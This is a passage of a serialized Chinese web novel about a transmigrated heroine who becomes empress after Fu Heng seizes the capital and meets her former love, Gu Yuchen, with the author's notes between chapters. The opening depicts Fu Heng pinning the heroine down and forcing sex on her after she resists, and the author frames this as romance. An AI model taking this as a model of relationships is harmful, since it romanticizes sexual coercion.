孟清辞嗓音冷涩,透着骨子难得一见的狠色:“傅珩,你若是伤他哪里,我便伤自己哪里,你别以为我不敢自戕。” 傅珩上次见她如此,还是她中了药,绝望之下,拿着刀子,神色癫狂的捅傅鸿轩。 宝船抵达闽州后,傅珩便将青云观主玄明道长招来,拿着誊写的那张冶炼精铁的方子给玄明道长看。 玄明端详半晌,虽也看不明白,却是给傅珩说了件数百年前的奇闻,正是史上唯一二圣临朝的开国皇后的故事。 传闻,那位开国皇后乃不世出且难得一见的天纵奇才,不仅助夫君定鼎天下,开创“二圣临朝”之先例。后因夫君背弃盟誓纳妃之时,以雷霆手腕毅然废帝自立,成为千古第一女帝。位期间,她力倡女子读书出仕,一度革除勾栏弊政,开创的盛世之治。 其文治武功令后世君王皆望尘莫及。然而其光辉传奇,竟被后世史笔刻意抹煞,只于稗官野史,青史成灰,贬损其牝鸡司晨。 “我曾在观中发现过一本残卷,上面记载一段关于这位女皇帝所书文字,与常人大不相同,倒是与主公这张方子,略有几分神似。” 玄明捋着胡须道:“待贫道占卜一挂。” 说着拿出几枚一看便是有些年头的铜钱,开始摆弄起来。不多时,竟激动着拍起大腿狂喜:“此乃方外之物,来自方外之地,却能助主公成就盛世王朝。” 傅珩再问何为放外之地,玄明确是有碍天谴不肯再多言,只告诫傅珩一句谶语:心念离析,便是心魔生;阴阳契破,自有命理反噬。 从孟清辞能在安义侯府隐姓埋名十数年,傅珩便心知,以孟清辞的心思,轻易不肯吐露自己的秘密,才想着在她神志脆弱之时逼一把她,不想她如此袒护顾聿琛。 观孟清辞的情状,傅珩绝对不信两人是兄妹关系,却是不敢再逼她,解开她手腕上的腰带,想要去抱着她好生安抚一番。 不想孟清辞猛地将他一把推开。傅珩猝不及防,一个趔趄向后跌入床榻。他还未及起身,却见她竟不顾衣不蔽体,一把抓过床头的银烛台,拔掉蜡烛,将那寒光凛凛的尖柄对准他心口,骤然刺来。 傅珩眼疾手快的抓住孟清辞的手腕儿,却还是让那一带而过的锋芒,在他手臂上划出一道口子,鲜血立刻汩汩而出,傅珩却不以为意,一把便将孟清辞制住在压|身|下。 他使了个巧劲儿,夺过烛台,飞甩出床外,竟是深深没入门柱上,可见他力道之大。 两人皆是赤红了双眸,一言不发,呼吸可闻,沉默以对,傅珩染了血的手掌抚过孟清辞的脸颊,孟清辞嫌恶的别过脸躲开。 他薄唇紧抿,劲瘦有力的腰身如那出窍的锋利宝剑,定要挣个征服,细长的黑眸沉沉的凝视孟清辞,似是什么狰狞可怖的怪物,一次比一次用力。 美人云鬓散乱,青丝铺铺陈,细眉颦蹙,倔强的朱唇被贝齿死死咬住,洇出一片艳色,不肯示弱分毫,似乎非要挣这一口气。 被翻红浪,傅珩手臂上的鲜血顺着她的脖颈,侵染了她如雪娇嫩的肌肤,也发了狠一样不顾一切,似要你中有我,我中有你,定要与她誓死纠缠在一起。 孟清辞不知道过了多久,久到她几乎撑不住想要昏死过去,他才才大发善心似的放过她。 他拉着她的手按着,仍旧威风凛凛,毫不掩饰的威胁:“你竟然想要杀我,我却是舍不得动你,不过我宁愿做个风流鬼,只不知道你肯是不肯。” 傅珩面上嘴硬,心下却是无限苦涩,本以为她对谁都是无心,她心里没有他,他还能以此安慰自己。却不想她能为顾淮序豁出命去,因为什么?因为他们都来自一个地方?还是因为对他有情? 是什么时候开始的呢?那日在乐安大长公主府,孟清辞宁愿信自己,也没有出去与顾淮序见一面,忽然灵光一闪,傅珩记起来,他离京后,顾淮序似乎是病过一场,之后便调职礼部。 傅珩暗自苦笑:他似乎又搞砸了,不过这次,她再生气,怎样罚他都好,却再走不脱,他以为她准备了一座‘金笼’,以天下养,他怎会看不出她对权利的野心。 且说大同府、山东府、河南府一起巡抚自立为王,合力攻打京城,不过月余,刚登基的大皇子皇位还没坐稳便被人攻破皇城,大皇子的人头被拿来祭旗。 三方又分利不均,皆打着称帝的鬼主意,盘桓京师两月,在皇城内大开杀戒,一时皇城内百姓叫苦不迭,人人自危,却出不得城去。 正在此时傅珩的大军,在傅承怀的掩映下,于深夜直逼城下,与傅家留在城内的死侍里应外合,坐收这渔人之利。 城墙爆破的时候,接连发出震天响声,坚硬无比的城墙破开丈余高的大洞,一时火光冲天,厮杀声划破漆黑的暗夜。 除了傅珩的军队,大同府、山东府、河南府的守城士兵在城墙上几乎吓破了胆。好些守城的兵卒慌不择路,口中喊着天罚,惊慌下竟坠下城楼,砰砰的坠落声,被咕咕号角声盖过,彻底淹没在这场硝烟中。 城楼上的守卫在嘶喊声中回神,刚收敛几分被下破的心胆,皇城方向便又是接连不断地巨响,震天的响声似是能让地动山摇。 守卫脚下的城墙似乎都在为之颤动,有那把持不住的,立时软了腿脚跌坐在地,一股骚味随之飘散开来,直接丢盔弃甲连滚带爬要下城楼去,一面哭爹喊娘,双手合十求神告奶奶。 骚动如涟漪般扩散,城墙上的守卫再次被扰乱军心,军心激散,顷刻溃散,再难聚拢。 傅珩本就坐拥闽广浙三州,无论人力财力都比他们有优势,又有火|药这等利器,一鼓作气夜袭,让其他府军溃不成军,一夜之间攻入皇城,自立为王的三府巡抚被傅珩的利器打的没了脾气,生不出丝毫反抗的心思,纷纷投降。 只一夜之间,皇城内外尽成废墟。目之所及,皆是断壁残垣,尸横遍野。百姓惊恐万状,家家闭户,京城内巷陌之间无不颓败狼藉。 大皇子弑君篡位,为稳固权柄,率先屠尽了先帝与太子的死忠之臣,又因他没有传位诏书,得位不正,老古板官员觉得他不配登基,他又屠了一批。 未及喘息,三府叛王攻入皇城,斩杀大皇子后,三方角逐,为排除异己,两月间又屠了一批京官。 劫后余生的官员们见到傅珩,犹如见了救星,不需傅珩说半个字,多言半字,众人已跪求其速登帝位,安定天下。 笑话,如今天子嫡脉已绝,难道这位手握重兵的闽广巡抚,是好因心,才千里迢迢进京收拾烂摊子?再心甘情愿,给昭德朝皇家哪个旁支小儿做嫁衣的大善人不成? 那那夜惊天巨响,差点给他们这些养尊处优的京官儿们震成了聋子,且不说皇城墙,单是那京城的厚重城墙,前去察看之人,无不两股战战,心胆俱裂。何等可怖的神兵利器才能将这么厚的城墙?一下穿个洞,不敢想~~不感想啊! 为保项上人头,更为搏个前程,满朝文武皆识时务,纷纷将傅珩奉为“顺天承运的真龙天子”,是救民水火的活菩萨。更有善于钻营者,编出朗朗上口歌颂傅珩丰功伟绩的歌谣传于市井。 恨不得傅珩即刻原地登基,终结这数月来的血雨腥风,动荡不安。 孟清辞对鲜血淋漓的攻城战事并无兴致,三日来,她始终带着幼子居于宝船之上,直至皇城内外清理停当,傅珩方才亲自登船,将他们母子迎入皇宫中。 自那夜之后,任凭傅珩如何放下身段、百般赔罪,孟清辞都没未曾给过他半分好颜色。 即便傅珩再三保证不会动顾淮序分毫,孟清辞仍旧对他不假辞色,夜里更是不许他上自己的塌,无一丝转圜余地。 傅珩只得强自忍耐,不敢再逼她分毫。可他生性多疑,孟清辞越是因此事这般冷待于他,他心底对顾淮序的猜忌便如野草疯长,日夜啃噬心神,当真是抓心挠肝,辗转反侧,夜不能寐。 几番煎熬之下,他心头一横,竟又生出个荒唐的荤招。这日,便传召顾淮序至御花园中议事—— 作者有话说:傅珩:夫人只能爱我 孟清辞:过不了好日子,你就作死吧 作者:解释下,女主不是为了孩子妥协的,59章有写两人的感情始末,虽然强取豪夺,也有种香的原因,但是精神上女主曾经是产生过好感的,虽然短暂也不多,所以比起男配,女主对男主的怨恨比男配们更多,毕竟男配们都没和女主身心交流过,但是男主他遗传作死,救不了。 虽然更的间隔长,但是我在榜单,周字数肯定够用。 第62章 第 62 章 斩草除根 国不可一日无君, 鉴于神器虚悬,百官忧惧迟则生变,为防时局生变, 百官力主速行登基大典。 将所有繁文缛节尽数革除, 化繁为简,仅以五日为期, 仓促成礼,便簇拥着傅珩举行登基大典。 钟鼓齐鸣, 百官拜贺,在响彻云霄的万岁山呼中,傅珩践祚登基, 共同君临天下,改元‘开治’,定国号‘景’, 以启新政,后世敬称其为景帝, 景帝称帝后的第一道圣旨, 便是册立蜀地孟王爷之女为中宫皇后,母仪天下,与之共享万里江山, 立儿子为太子, 颁告天下。 新君即位, 照例大赦天下, 减免三年赋税。然而, 当百官循旧制提请赦免非十恶之罪的囚犯时,却被孟清辞用朱笔将奏章此处画了个大大的红叉。 很是不屑道对傅珩道:“陛下初登大宝,欲以仁德治天下, 施恩于万民,乃苍生之福。若连大奸大恶之辈也一并宽宥,对含冤者而言,岂非是另一种不公?赦免有罪之徒,表面是施以仁政,实则是纵恶,此其一害。若有十恶不赦之徒因此心存侥幸,届时朝廷岂非更要耗费国力,再度缉拿,此其二害。” 她染了鲜红蔻丹的食指点了点那醒目的红叉,美目流转,侃侃而谈:“陛下建立新朝,本就是不破不立,彰显的是天子威仪,而非要事事遵循腐朽旧制,以免重蹈前朝覆辙。文治武功自能泽被苍生,又何需借此虚名来为盛典添彩?” 在傅珩看来,孟清辞想来见解偏僻,且她言辞犀利,却字字在理,无从辩驳,这一项旧例,便被就此搁置。 傅珩虽觉得孟清辞言辞刁钻,却觉有道理,无从辩驳,此一项便就此作罢。 新朝首次大朝会,丹陛之下暗流涌动。果然,礼毕后,众大臣一一循例觐见后,便有那按耐不住的出列,躬身奏请:“陛下春秋鼎盛,然则宫中帝裔稍显稀薄,唯太子殿下一人。臣私心以为,此于社稷传承,恐非万全之策。为江山永固计,恳请陛下颁诏选秀,广纳贤德淑女以充后宫,皇嗣繁盛,则宗庙安泰,江山永固,国祚绵长,万年可期。” 昭德朝时,大皇子曾将前朝皇帝的心腹及其三族尽皆屠戮殆尽。 如今朝中还保有些许底蕴的,便只剩清流顾太傅与安义候傅家。顾太傅曾为大皇子之师,又早早称病不出,方侥幸躲过一劫。后历经“三府之乱”,叛军攻入京城,又一批高门显贵被血洗。 而傅家,则因暗中助大皇子成事,暗中参与毒害太子一事,加之傅静妤又被大皇子觊觎,才未遭兔死狗烹之运,得以存续。 如今改朝换代,龙椅上坐着的新君,正当春秋鼎盛之年,大殿中站着一大半的新贵,亦有傅珩心腹之臣,谁不想抓住这改天换地鲤鱼跃龙门的机遇? 一旦有人牵头,那些意图借裙带攀附皇权、改换门庭的官员立刻纷纷附议:“陛下,中宫虽定,然六宫仍旧空虚,非皇家繁荣气象。选秀纳妃,为我朝开枝散叶,方可安天下臣民之心啊!” “臣等附议!” “臣等附议!” “臣等附议!” 在这场权力更迭中存活下来的官员,无不蠢蠢欲动,意图在这权力真空中分一杯羹。顷刻间,过半官员接连跪请,声势浩大。 傅珩高踞御座,居高临下,面无波澜,一双细长的冷眸如古井寒潭,淡淡扫过殿下那些俯首叩拜、却各怀鬼胎的臣子。 他声调平淡却透着天子威仪:“ 如今新朝初立,三府之案未结,百废待兴。朕今垂询:户部现存库银几何?前朝奢靡,国库早空,朕既已诏免天下赋税三年,尔等可有良策,为朕开辟财源?再者,南方年年水患,若三年之内,洪涝复至,或遭大旱,户部与工部,你等将如何应对?当作何预案,以安黎民?诸卿但有所策,尽可奏来,以教朕躬。” 他话音微顿,目光更沉:“三府叛首虽已伏诛,三府之内余孽犹在。这些顽固之徒,又当如何处置?” 语至此处,傅珩声线陡然转厉:“诸位‘爱卿’在其位不谋其政,尸位素餐,却一味盯着朕的家事私域,是何居心?朕已有皇后,亦有太子,于愿足矣。” 他冷笑一声:“莫非尔等欲使朕步前朝后尘,落得个子嗣相争、不得善终,一世而亡的下场?” 一众觐见的大臣哪个担得起颠覆国朝,等同谋逆的大罪?尽皆两股战战,冷汗涔涔,瑟瑟发抖起来。这位新帝绝非仁柔之主,入城后便已不动声色的连抄数家,大理寺虽罪证齐全,其手段之雷霆,仍令众人胆寒,心中惶惶。 此时众臣已是悔之不及,今日冒失觐见,只怕未得半分好处,反招来帝王厌弃,成了那被杀鸡儆猴的儆猴之鸡。 顾聿琛一身绯色官服,静立群臣一隅,对此他只作壁上观。傅珩直言不纳妃嫔,只要皇后一人,着实出乎了他意料。 这世道,男子三妻四妾本是寻常,互赠美妾尚要传为佳话。帝王若无三宫六院,反倒有失威信。傅珩竟能舍此“体面”,倒让顾聿琛对那位素未谋面的皇后生出几分好奇来。 登基大典那日,顾聿琛隔得远,臣子们又不得仰视天颜,他至今还未曾看清皇后究竟是何模样,竟能让傅珩这位新帝为她破例。 傅珩见不过三言两语,这群怂臣便已吓得魂不附体,薄唇不由勾起一抹讥诮嘲笑。 跟随傅珩的心腹旧臣,深知他待皇后情深,跟着要喝,不过有枣没枣打两杆子,见果然没的商量,立即鸡贼的见好就收。 毕竟是登基后第一日上朝,傅珩并不愿多见血光,不吉利的很。他静默良久,待威慑已足,方再度开口,声彻丹墀:“朕方才所问之事,望众位爱卿一一办妥。三日后,朕要在龙案上见到诸位爱卿的奏章。” 一众群臣皆是躬身拱手:“臣遵旨,陛下万岁万岁万万岁。” 刚一散朝,顾聿琛还未踏出殿门,便被傅珩身边的大太监王忠贤含笑拦下。 “顾大人留步,”王忠贤满面堆笑,躬身一揖,“陛下吩咐,请大人前去议政。还请随奴婢移步。” 不想王忠贤一路腰身微弯,姿态恭谨的在前引路,竟将他引至御花园深处。 御花园里,奇花开得正盛,各花争奇斗艳,假山流水布置得甚是精妙绝伦。蜿蜒的小路通向幽静之处,飞檐碧瓦在树影间若隐若现,处处透着皇家的奢华与气派。 顾聿琛却无心赏景,只暗自狐疑:何事不能于御书房中商谈?两个男人之间谈事,何必弄得花里胡哨的? 刚至一亭台楼阁,便有一小太监步履匆忙地前来寻找王忠贤,那小太监许是跑的急了,额上都沁着细汗。他见到王忠贤与顾聿琛见了礼,急切道:“公公,总算找到您了!那边” 小太监说着,躬身微微抬眼觑顾聿琛,当即欲言又止。 大太监王忠贤眼珠儿一转,朝顾聿琛拱手赔笑道:“顾大人,实在不巧,烦请您在此稍候片刻,宫中事务繁杂,奴婢去去便回。” 顾聿琛很是善解人意的淡淡颔首:“公务要紧,王公公请自便。” 一时间楼阁中只剩下顾聿琛一人,这才发现,桌上早已备事先备好了茶水点心,心下更是不解其意。只推开窗户,瞭望远景。 不多时,便听得楼阁下传来侍女清亮的声音:“娘娘,这登仙阁是宫中最高的一座楼阁。相传乃是前朝一位皇帝为爱妃所建,登临其上,极目远眺,整座皇城的恢宏气象皆可尽收眼底,一览无余。奴婢一早备好了您爱用的茶点,恭候娘娘凤驾。” 孟清辞不由失笑,轻轻摇头:“偏你这般会讲话,专来哄本宫开心。” 宫女素娟扶着孟清辞踏上台阶,一边翻了个白眼:“她啊,浑身上下只有这张嘴最勤快,平日使唤的旁人团团转,如今又用这张巧嘴来哄娘娘了。” 安萍闻言不服,当即反驳道:“奴婢是见娘娘连日操劳,才想了法子让娘娘松泛些。倒让你把我这一片心,说得如此不堪,难道尽心伺候主子还有错不成?” 宫女素娟轻笑一声,不大诚心道:“哎呦,倒是我得不是了,冤枉了你这个好人,好人,你就原谅我无知罢。” 宫女安萍哼一声,很是大度道:“娘娘面前,哪个会与你计较。” 孟清辞听着二人你一言我一语的,但笑不语。 原来伺候孟清辞的霞光,孟清辞听闻如今已经嫁给了墨松,成了户部侍郎夫人,她还没来得及召见。 孟清辞身边如今的女婢,都是入宫后调过来的,安萍和素娟两个,半真半假的在她面前争风吃醋,见她只做乐子看,并不恼怒,遂常常在她面前拌两句嘴,只当做给她解闷儿了。 顾聿琛自声音响起的刹那,整个人便如泥塑木雕般僵在原地,周身的血液仿佛瞬间被冻结。他难以置信地猛然转身,双眼一眨不眨的锁住那扇紧闭的门扉。 稍倾,宫人将门推开。当那凤冠霞帔的身影映入眼帘时,顾聿琛如遭雷击,瞳孔剧烈震颤。颈侧的青筋因极致的激动而搏动,他张了张嘴,最终只挤出一个干涩到发颤的音节:“你……” 孟清辞抬眼见看见顾聿琛,目露差异之色,瞬间跌入顾聿琛那双盛满伤痛绝望的眼眸里,那里面的疼痛有让孟清辞难以承受的窒息,似是在谴责她的欺骗与背板。 她凝在唇畔的笑意顿时僵住,来不及收敛,随即脸色一分分沉落下去。此刻心绪在刹那间已百转千回,她终于明白今日婢女为何要引她来此,什么登高赏景,不过是一场精心设计的局。 一丝无声的冷笑自孟清辞心底漫开来:这怕又是傅珩那厮的手笔。她早该料到的,傅珩那多疑算计的本性,怎么可能轻易罢休,他惯会玩弄这些手段,狠狠暗自骂道:真是狗改不了吃屎,没有一刻消停。 一旁的宫女安萍,见顾聿琛见了皇后娘娘,不仅不行礼避让,竟还直视凤颜,当即蹙眉呵斥:“放肆!见到皇后娘娘,还不行礼退避,竟还敢冒犯凤颜,该当何罪!” 孟清辞怒极,倏然回身,一记耳光重重掴在安萍的脸上。她柳眉倒竖,美眸含煞,声音却冷得刺骨,低吼道:“都给我滚出去!” 宫女素娟是个真正的人精。她从小进宫,在动荡宫闱中能存活至今,还能在新朝初立的档口儿,被选来伺候皇后,她自有超乎常人的敏锐。 素娟已经嗅到今日之事的不寻常之处,第一个回过神来,立即拉起被扇得踉跄的安萍,不由分说地将人拽出,随即利落地掩紧门扉,呵退了后面的一众婢子下楼去。 安萍抽泣着往楼上看一眼,又委屈的对素娟哭道:“这是怎么了?为何娘娘发这样大的脾气?姐姐救我?” 素娟冷笑一声:“那要问你自己,我怎么知道你干了什么好事?” 素娟随才到皇后娘娘身边几日,皇后娘娘自来好性儿,却对安萍发了这么大的火,她觑了眼脸颊已高高肿起的安萍,只觉她这次怕是要蠢死了,背主的东西,甭管做了什么,主子哪里还会留。 孟清辞从前绝做不出动手打人之事。她性子一向活泼良善,连与人红脸都少有。顾聿琛被她这猝不及防的一巴掌,短暂地打断了那蚀骨的心痛,目带惊愕地望向眼前妆容精致、衣着繁重的‘皇后’,想要与记忆中的姑娘重合,却是无法,她似乎有了皇后的威仪,再无当初的纯粹无忧。 孟清辞定了定神,才转身,对上顾聿琛略带呆滞的目光。顾聿琛如今一身绯色孔雀补子官服,她晓得他已贵为工部尚书,心底是为他感到高兴的。 旋即,孟清辞一丝自嘲掠过唇角,问道:“怎么?很惊讶吗?” 顾聿琛慌忙摇头,否认道:“不是,我不是这个意思,你别……”这么说。 “不,你该惊讶的。”孟清辞截断他的话,声音平静却带着力坠千钧的重量,“你怎么能不惊讶?我早就不是你认识的孟清辞了。我是胎穿过来的,在这里活了快二十年。你觉得,若是原来那个我,凭一点不谙世事的天真,能在安义侯府那种地方活着出来吗?” 她说着,已随意走到窗边的位置坐下,执起茶壶为自己与他各斟了一杯茶,随即将其中一盏推向对面,示意顾聿琛坐下。 顾聿琛在她对面落座,指节用力地摩挲着温热的杯沿,久久无言。半晌,才艰涩开口:“是他……带你出的安义侯府?”他想起了孟清辞曾说的,有人给她‘种香’,心口又是一阵绞痛。 “是啊,我中了‘离不得情’的宫中秘药,是傅珩,把我从傅鸿轩的床榻上救下来的,没有傅珩,我拿着良籍也走不出安义侯府。”孟清辞笑得洒脱,眼底却无甚暖意,“你拥有顾淮序的记忆,世族宦官府里的龌龊不是都清楚么?何况你来了这些时日,也该明白,在这里,‘奴婢’是何等卑贱的身份。” 一滴泪,倏然间从顾聿琛低垂的眼眸中滑落,坠入茶汤中,茶水溅到他虎口的肌肤上,茶水击起细微的涟漪:“对不起,是我来晚了。对不起,是我没能护住你。” 孟清辞眸色依旧冷淡,无波无澜:“你来了也无用。没用的奴婢活不久,有用的,主子不会放手。”她哂笑一声,语气听不出喜怒,“你不知道,我这一世,出生在蜀地孟王府,五岁前,我是孟王爷与王妃的‘爱女’。” 她冷笑一声:“孟王爷寻我这个‘宝贝’闺女多年,可你知道我是怎么丢的吗?” 孟清辞不等他回答,便自顾说了下去:“是孟王妃的亲侄女,想取我而代之,用石头砸了我的头,将我扔在暗巷。我被人捡到,卖给了人贩子。而我的亲生母亲,孟王妃,怕事情败露会牵连娘家,竟将错就错,把真相瞒了下来。她后来怕我回去捅破此事,甚至暗中阻挠父亲寻我。至于我那疼我如宝的父王,为了他的妻子,洞悉真相后,也选择了装聋作哑。” “别说了……”顾聿琛几乎难以呼吸,出声打断,声音里带着压抑不住的颤抖,“求你别说了……你怎么忍的……你怎么忍下来的……” 顾聿琛说不下去。他太清楚她原本是什么底色,有多干净,她原来是孟家父母的掌上明珠。她这一世,先是被父母视若珍宝,又遭至亲双重背叛,再加上十年为奴的磋磨,这般种种,要她如何承受? 孟清辞不再多言刺激他,只是缓缓啜了一口已微凉的茶,静待他平复心绪。她确是故意提及此事,只为转移他那沉痛过载的注意力。方法虽显卑鄙,但,有效。 顾聿琛此刻整遭受撕心裂肺的煎熬,他无数次后悔,她登机前的一夜,与他说,她那一走便要两年,他若是留她,她便不走了。 在知道她坠机后,顾聿琛每时每刻都在后悔自己的刚愎自用,直至再次见到她,才让他稍稍不那么自责。 而现在,顾聿琛再次肝肠寸断懊悔不已,如果那晚他勇敢一点,接受她,留下她,她没有等上那趟飞机,她方才说的,那些她经历的残酷的一切,是不是都不会发生。 孟清辞自是最知道他的,不忍见他沉溺于自责,便故作轻松地弯了弯唇角,语气故作轻松道:“如今托你的福,我贵为皇后,不是很好么?从前种种,便都忘了罢。” 她语带双关,将过往的苦难与情分一并轻描淡写地带过。 良久,顾聿琛勉强平复了翻涌的心绪,缓缓抬起眼眸,近乎绝望的凝视着孟清辞,心痛道:“你既知我心意,为何当初,还要我投奔傅珩?” 没有什么是比这更残忍的,要他将自己深爱多年的女子,亲手推向另一个男人的怀抱。世间万般酷刑,剜心切肤之痛也不过如此。 “你心里清楚,我们早已错过了,我对你情断了快二十年,回不去了。”孟清辞唇边泛起一丝苦涩,“我让你去投靠别人,与傅珩为敌?那我这个在别人眼中所谓的‘傅珩的女人’,又生了他的孩子。你觉得,若你辅佐旁人赢了,傅珩落败,我能有什么好下场?别天真的以为你保住我,这个世道从来都是斩草除根,无毒不丈夫,卸磨杀驴,鸟尽弓藏。” 她目光灼灼地看向他,一字一句道:“我和你只有这一条路可以走,只有如今这般,我与你互为犄角,才都能彼此保全。” 顾聿琛闭了闭眼,几欲哽咽,无言以对,她字字句句如刀刃剐过心头,他岂会不懂?正因懂得,才更觉万箭穿心。她是真的不要他了。 他再也没有机会了,都是他咎由自取,他睁开眼,唇边泛起同样苦涩的弧度,声音沙哑却坚定:“无论你变成何种模样,在我心里都是你,是我愚蠢,弄丢了你,辜负了你,但我永远都无法停止深爱你。你放心,你担心的事情,永远都不会发生。” 孟清辞悄然舒出一口气,她怕顾聿琛一气之下难以接受,会做出什么极端不可挽回的事情,她轻声道:“聿琛哥,除了情爱,这世上还有权利这种好东西,不是吗?” 顾聿琛又是沉默良久,恢复了平日的温文儒雅,平静道:“若是你真的不喜欢他,不必委屈自己,我总是有办法的。” “喜欢?”孟清辞戏虐的浅笑,自嘲道:“有那么一瞬间喜欢过罢,如今嘛,罚他给我做一辈子工,一消我心头之恨,未尝不是一件好事。” 孟清辞毫不意外的从顾聿琛眼中看到了意外之色:“都说了,我早不是从前的我。” 两人刚将话挑明,门外便响起了轻轻的叩击声,随即传来大太监王忠贤小心翼翼的禀报:“奴婢办事不力,让顾大人久候了,特来请罪。” 孟清辞闻言,眸光陡然转冷,扫过紧闭的门扉,又对顾聿琛淡声道:“他找你无事,你且先回去罢。” 说罢,孟清辞霍然起身,一把拉开房门,垂眸睨着那躬身几乎弯到地上的王忠贤,唇角勾起一抹冰冷的讥诮:“怎么?他这是不放心,特地打发你来瞧瞧,本宫有没有在此间与人行苟且之事?” 王忠贤浑身一哆嗦,他在宫中沉浮大半辈子了,何曾听过哪位皇后如此不顾体面、直白地将这等私隐猜忌宣之于口? 虽不过几日功夫,他却也看得出陛下对皇后的爱重之深,今儿朝会头一遭,新帝便是驳斥了众臣要选妃之事,誓言要守着皇后一个,先甭说能多长久,只这心意便是古往今来难得一见。 王忠贤腰弯得更低,几乎要跪伏下去,声音发颤:“奴婢不敢!奴婢纵有十个脑袋,也不敢窥探娘娘凤仪!是、是陛下遣奴婢来传召顾大人前往御书房议事……” “哦?”孟清辞犹自嗤笑一声:“那本宫倒要亲自去看看,究竟是什么样的大事。”她不再理会王忠贤,径直掠过他下楼而去。 王忠贤慌忙向室内的顾聿琛投去求救的一瞥,盼他能出面转圜,却见顾大人恍若未闻,只凝望着窗外,不知在想些什么。 王忠贤见此,哪还顾得上他,急忙转身,跌跌撞撞地追着皇后娘娘的背影而去,只觉得他小命要完。 要知道,此时御书房里陛下和几位大臣正议着朝政,若让皇后这般闯去,冲撞了闹出什么来,那可真是塌天的大祸! 孟清辞步出登仙阁,凤眸扫过阶前垂首侍立的一众仆婢,目光在安萍那副臊眉耷眼的模样上停留一瞬,心头火气再度窜起。此时大太监王忠贤正追至身后,她头也不回,冷声吩咐:“将她逐出宫去,永不复用。若你这差事都办不明白,本宫便将你办了。” 王忠贤浑身一哆嗦,赶忙躬身应道:“奴婢遵旨!”随即厉声招呼两个小太监上来拖走安萍。 安萍这才真慌了神,她也是宫里的老人了,深知自己如此被赶走,能有什么好下场?当即挣扎哭喊起来:“皇后娘娘饶命!皇后娘娘开恩啊!” 眼见皇后身影如一阵冷风般决绝离去,她绝望中转向王忠贤,嘶声高叫:“王公公救我!奴婢都是听您吩咐才……” “住口!”王忠贤脸色剧变,猛地转身冲回,抡圆胳膊一记耳光狠狠掴去!这一下用足了狠劲,竟当场打落安萍两颗牙齿,鲜血顺着嘴角淌下,咬牙骂道:“作死不想活命了,胡说什么?” 恰在此时抬头,猝然撞见一道冰冷的目光。 顾聿琛顾大人,不知何时已立在阶下,不知道冷眼看了多久。 王忠贤讪讪的笑了笑,那皮笑肉不笑的模样,看着属实令人感到阴森诡异:“顾大人,您别听这贱婢胡言乱语。” 顾聿琛连眼皮都未抬,只漠然掠过他惶恐的身形,径自迈步离去。 一股邪火哽在孟清辞喉头,几乎要喷薄而出,凤眸含煞,裙裾猎猎生风,她顾不得什么皇后仪仗,脚下疾步如风,将凤辇仪仗及一众仆婢甩在身后,怒气冲冲的向御书房而去。 傅珩不就是想知道她和顾聿琛是否有情,那她今日,便如他所愿—— 作者有话说:傅珩:右眼睛一直跳,要遭 孟清辞:找虐就直说 作者:今天写顾聿琛自白的时候,很意外,自己差点写哭了。 第63章 第 63 章 痴心不改 王忠贤心道句‘不妙’, 拍着大腿低声道:“祖宗哎,这可坏了醋了。” 他心里不由求爷告奶奶起来,陛下正在御书房与几位重臣议事, 倘若皇后娘娘当真不管不顾地闹将起来。 到时候陛下龙颜受损, 陛下自然不会拿皇后娘娘如何,他们这些伺候的奴才怕是都要吃不了兜着走, 项上人头能不能保住都难说。 他就说今儿不是个好日子,一早起来眼皮就跳个不停, 先是陛下让他来窥视皇后娘娘和顾大人,后又招来这档子麻烦事儿,真是倒霉催的。 王忠贤急中生智, 抬腿便朝离他最近的那个小太监踹了过去,正踢在屁股上,训斥道:“没眼力见儿的小崽子!还不赶紧去给陛下报信儿, 难道还等着你爷爷我亲自跑这一趟?” 小瑞子被王忠贤踹的向前一个趔趄,差点摔倒,手忙脚乱地扶正了歪斜的帽子, ‘哎哟’一声,却不敢耽搁半分,拔腿便往御书房方向奔去, 口中还嚷了句:“儿子哪敢劳烦干爹。” 王忠贤犹自不放心, 追着背影厉声威胁:“快这点儿, 若是误了事儿, 仔细你的皮!” 此刻御书房里, 傅珩整在听几个大臣你一言无一语的,言语间,暗搓搓的不乏对这位新帝的试探之意, 傅珩却是听得有些心不在焉。 小瑞子并不敢触皇后娘娘的霉头,换了条路,铆着劲儿,一溜烟儿跑到御书房门外。 却被副管事刘玉生拦下,他面色一沉,呵斥道:“做什么慌慌张张,陛下正与大臣们商议要事,惊扰冲撞了陛下,你这是作死呢。” 小瑞子跑得上气不接下气,呼哧着,抚着胸口道:“刘、刘公公,快,快禀报陛下……皇后娘娘从登仙阁出来了,正震怒着,眼看就要到御书房了!” 副管事刘玉生仍旧手臂一横,将小瑞子挡在御书房门外,压低了声音,不悦道:“那也不能失了体统。”嫌弃的撇他一眼:“你师傅怎么就认了你这么蠢的做儿子。” 小瑞子急得几乎要哭出来,苦着脸:“我干爹特意交代,务必尽快禀告陛下,免得娘娘……”后面的话,即便大家心知肚明,但是他终究没敢说出口,。 刘玉生闻言,忽然灵光一闪,顿时明白了利害关系,他瞪圆了双眼:“等着。”自己个儿猛地转身快步往殿内走去。 待进了内殿,刘玉生却又立刻放缓脚步,他低眉顺目地躬着身子,悄无声息地挪到傅珩身侧,俯身对傅珩低语了几句,随后便垂手侍立一旁,屏息静候,大气儿不敢喘。 傅珩面上纹丝不动,只随意摆了摆手:“今日便到此为止,诸位爱卿都退下吧。” 几位大臣心中纳闷儿:陛下刚还说,今日新政必要论出个因果来,怎么忽然改了主意?何况新帝素来勤政,今日为何早早散了? 诸多疑惑,却是不敢公然揣测圣意,七八人皆是恭敬地行了礼,依次退了出去。 孟清辞提着裙摆,一路疾行至御书房外,赶巧正遇上几位议毕告退的大臣。 众位大臣见了迎面而来的皇后娘娘,纷纷躬身行礼。 孟清辞正要找傅珩算账,哪里有心思理会他们,她目光丝毫未在几人身上停留,径直便要入御书房内。 只见皇后凤眸含霜,全然未将廊下那几位重臣放在眼里,径自踏过玉阶。华丽的绯色宫装迤逦曳地而过,尽是浑然天成的威仪气势。 几位大臣垂首间交换着心照不宣的眼神,皆是不满与不服。 自早朝,陛下为这位孟皇后,断然驳回选妃奏章,他们想要家中适龄女子入宫的青云路便生生折断。 此刻见孟皇后不仅年少面嫩,且还举止轻狂、目中无人,有人终于按捺不住。 队列末四品御史崔令仪忽然牵动嘴角,声音却恰好能随风飘至凤驾前:“果然是婢女出身,粗鄙不堪,不识大体,怕是还要牝鸡司晨……” 若在平日,孟清辞大底懒得理会,偏此刻,她心中怒火正炽无处宣泄,那两句刻薄言语恰好撞了上来。 